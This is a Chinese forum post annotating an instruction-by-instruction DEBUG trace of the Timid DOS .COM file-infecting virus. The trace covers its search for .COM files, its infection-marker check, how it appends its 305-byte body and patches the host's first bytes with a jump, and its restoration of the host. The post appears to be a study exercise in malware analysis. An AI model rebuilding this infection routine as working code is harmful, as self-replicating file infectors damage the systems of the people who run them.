返回列表 发帖
现在搞定了,我把自己分析的贴出来吧
命令        指令        涉及内存值        注释        
P        JMP         010C                跳转到偏移地址为010C的地方执行        
T        CALL        010F                调用子程序        
P        SUB        WORD PTR [FFFC],0009        DS:FFFC=010F        将DS:FFFC内容改为0106        
P        MOV        DX,FF2A                设置DTA的偏移地址        
P        MOV        AH,1A                设置DTA(磁盘传输区)地址,DS:DX=传输区首址,DTA=DS:FF2A        
P        INT         21                        
T        CALL  015D                调用程序模块        
P        MOV        DX,[FFFC]        DS:FFFC=0106        定位病毒体的位置        
        MOV        CX,003F                设置隐藏和系统属性        
P        MOV        AH,4E                第一个匹配的文件,DS:DX=字符串地址,存放着匹配字符*.com,(CX=属性)(出口参数DTA中)
        
P        INT          21                        
P        OR        AL,AL                检查调用是否成功        
P        JNZ         0177                没有则以z=0退出        
T        CALL        0178                调用子程序,打开timid.com病毒程序        
P        MOV        DX,FF48                将字符串“TIMID.COM”存入DS:FF48        
P        MOV        AX,3D02                DS:DX=字符串地址(以0为字符串的结束标志),AL=02则以读/ 写方式打开文件timid.com,AX=文件号(句柄号)CF=0(NC)表示打开成功,否则,AX=错误号(02H、03H、04H、05H或0CH)        
P        INT         21                        
P        JB        01AB                JB的测试条件CF=1,即检测文件是否打开成功,打开文件失败则跳转到CS:01AB处执行        
P        MOV        BX,AX                BX=0005        
P        PUSH        BX                将BX压入堆栈        
P        MOV        CX,0005                        
P        MOV        DX,FF57                 设置缓冲区偏移地址        
P        MOV        AH,3F                读文件或设备,BX=文件号(句柄),CX=0005代表读出字节数,DS:DX=缓冲区首址(内容为:mov a),AX=实际读出的字节数        
P        INT        21                        
P        POP         BX                        
P        MOV        AH,3E                关闭文件,BX=文件号(句柄)        
P        INT        21                        
P        MOV        AX,[FF44]        DS:FF44=0137        将TIMID.COM的文件大小137H字节存入AX        
P        ADD        AX,0205                加上病毒码的长度,存入AX中        
P        JB        01AB                        
P        CMP        BYTE PTR [FF57],E9        DS:FF57=E9               
P        JNZ        01B0                 标志位为0时继续执行下面的比较,否则跳转        
P        CMP        WORD PTR [FF5A],4956        DS:FF5A=4956               
P        JNZ        01B0                标志位为0时继续执行下面的比较,否则跳转        
P        MOV        AL,01                不感染,清Z        
P        OR         AL,AL                清Z        
P        RET                将IP从堆栈弹出,跳转到016F执行        
P        JZ        0177                没有可感染的文件则跳转,此时CS:IP=RET        
P        MOV        AH,4F                查找下一个文件,入口和出口参数在DTA中        
P        INT        21                        
P        JMP        0168                        
P        OR        AL,AL                        
P        JNZ        0177                        
T        CALL        0178                        
P        MOV        DX,FF48                将字符串“TEST1.COM”存入DS:FF48        
P        MOV        AX,3D02                DS:DX=字符串地址,AL=02则以读/写方式打开文件test1.com,AX=文件号(句柄号)
        
P        INT         21                        
P        JB        01AB                        
P        MOV        BX,AX                        
P        PUSH        BX                        
P        MOV        CX,0005                设置读取字节数        
P        MOV        DX,FF57                设置缓冲区偏移地址        
P        MOV        AH,3F                读文件或设备,BX=文件号(句柄),CX=0005代表读出字节数,DS:DX=缓冲区首址(读出mov a),AX=实际读出的字节数        
P        INT         21                        
P        POP         BX                        
P        MOV        AH,3E                关闭文件,BX=文件号(句柄)        
P        INT         21                        
P        MOV        AX,[FF44]        DS:FF44=0015        test1.com的大小保存于AX中        
P        ADD        AX,0205                加上病毒码的长度,存入AX中        
P        JB        01AB                        
P        CMP        BYTE        PTR [FF57],E9        DS:FF57=6D         用test1.com的首字节6D和病毒感染标志E9比较        
P        JNZ        01B0                文件test1.com没有被感染,程序跳转到DS:01B0处执行        
P        XOR        AL,AL                        
P        RET                将IP从堆栈弹出,跳转到016F执行        
P        JZ        0177                        
P        RET                将IP从堆栈弹出,跳转到011F执行        
P        JNZ         0131                不跳转继续向下执行        
T        CALL          01B3                        
P        MOV        DX,FF48                存放文件名test1.com        
P        MOV        AX,3D02                DS:DX=字符串地址,读/写方式打开文件test1.com,AX=文件号 (句柄号)         
P        INT         21                        
P        MOV        [FF55],AX        DS:FF55=0000               
P        XOR        CX,CX                        
P        MOV        DX,CX                设置DX=CX=0        
P        MOV        BX,[FF55]        DS:FF55=0005        保存文件句柄        
P        MOV        AX,4202                改变文件读写指针,BX=文件号(句柄),DS:DX=位移量,AL=2表示绝对移动,DX:AX=新指针的位置        
P        INT        21                        
P        MOV        CX,0131                设置写入被感染文件字节的大小为305个字节        
P        MOV        DX,[FFFC]        DS:FFFC=0106         指定要写入的数据的地址        
P        MOV        BX,[FF55]        DS:FF55=0005        设置文件句柄        
P        MOV        AH,40                写文件或设备,BX=文件号(句柄),CX=写入字节数,DS:DX=缓冲区首址        
P        INT        21                执行完该指令后,文件末尾被写入305个字节        
P        XOR        CX,CX                        
P        MOV        DX,[FF44]        DS:FF44=0015         保存原始文件大小        
P        ADD        DX,0052                 (设置test1.com文件头5个字节在病毒添加的305个字节中的位置) 原始文件偏移量与长度相加,即:将文件的头5个字节移动到距离源test1.com文件末尾52H(82)后5个字节的地方        
P        MOV        BX,[FF55]        DS:FF55=0005               
P        MOV        AX,4200                 改变文件读写指针,BX=文件号(句柄),DS:DX=位移量,AL=0表示绝对移动,DX:AX=新指针的位置        
P        INT           21                        
P        MOV        CX,0005                设置写入字节数        
P        MOV        BX,[FF55]        DS:FF55=0005               
P        MOV        DX,FF57                        
P        MOV        AH,40                写文件或设备,BX=文件号(句柄),CX=0005(写入字节数), DS:DX=缓冲区首址        
P        INT        21                        
P        XOR        CX,CX                        
P        MOV        DX,CX                        
P        MOV        BX,[FF55]        DS:FF55=0005               
P        MOV        AX,4200                 改变文件读写指针,BX=文件号(句柄),DS:DX=位移量,AL=0表示绝对移动,DX:AX=新指针的位置        
P        INT         21                执行完该指令后,文件头部5个字节将被改变        
P        MOV        BX,[FFFC]        DS:FFFC=0106               
P        MOV        BYTE PTR [FF57],E9        DS:FF57=6D        设置test1.com文件的第一个字节        
P        MOV        AX,[FF44]        DS:FF44=0015        保存test1.com文件原始长度        
P        ADD        AX,0003                AX为test1.com文件的长度+0003        
P        MOV        [FF58],AX        DS:FF58=766F        将test1.com的第二、三个字节改为文件长度+0003        
P        MOV        WORD PTR [FF5A],4956        DS:FF5A=6120        将test1.com的第四、五个字节改为56H和49H        
P        MOV        CX,0005                 设置写入test1.com的字节数        
P        MOV        DX,FF57                        
P        MOV        BX,[FF55]        DS:FF55=0005               
P        MOV        AH,40                写文件或设备,BX=文件号(句柄),CX=0005(写入字节数), DS:DX=缓冲区首址        
P        INT            21                        
P        MOV        BX,[FF55]        DS:FF55=0005               
P        MOV        AH,3E                关闭文件,BX=文件号(句柄)        
P        INT         21                文件头被移动并被标记        
P        RET                        
P        MOV        DX,FF48                        
P        MOV        WORD PTR [FF55],0024        DS:FF55=0005               
P        MOV        AH,09                显示字符串,DS:DX=缓冲区首址        
P        INT         21                        
P        MOV        DX,0080                        
P        MOV        AH,1A                设置DTA(磁盘传输区)地址,DS:DX=传输区首址        
P        INT        21                对DTA的内容进行恢复        
P        MOV        BX,[FFFC]        DS:FFFC=0106        




将宿主文件的前五个字节写入ds:[100]-ds[104]        
P        MOV        AX,[BX+0052]        DS:0158=4CB4               
P        MOV        [0100],AX        DS:0100=09E9               
P        MOV        AX,[BX+0054]        DS:015A=00B0               
P        MOV        [0102],AX        DS:0102=5600               
P        MOV        AL,[BX+0056]        DS:015C=CD               
P        MOV        [0104],AL        DS:0104=49               
P        MOV        WORD PTR [FFFC],0100        DS:FFFC=0106               
P        RET                        
P        MOV        AH,4C                 终止当前程序并返回调用程序        
P        MOV        AL,00                AL=退出码        
P        INT         21
帖子4 精华0 积分4 阅读权限40 在线时间1 小时 注册时间2008-4-6 最后登录2008-7-15 查看详细资料引用 报告 回复 TOP

姚智
晶莹剔透§烈日灼然

TOP

返回列表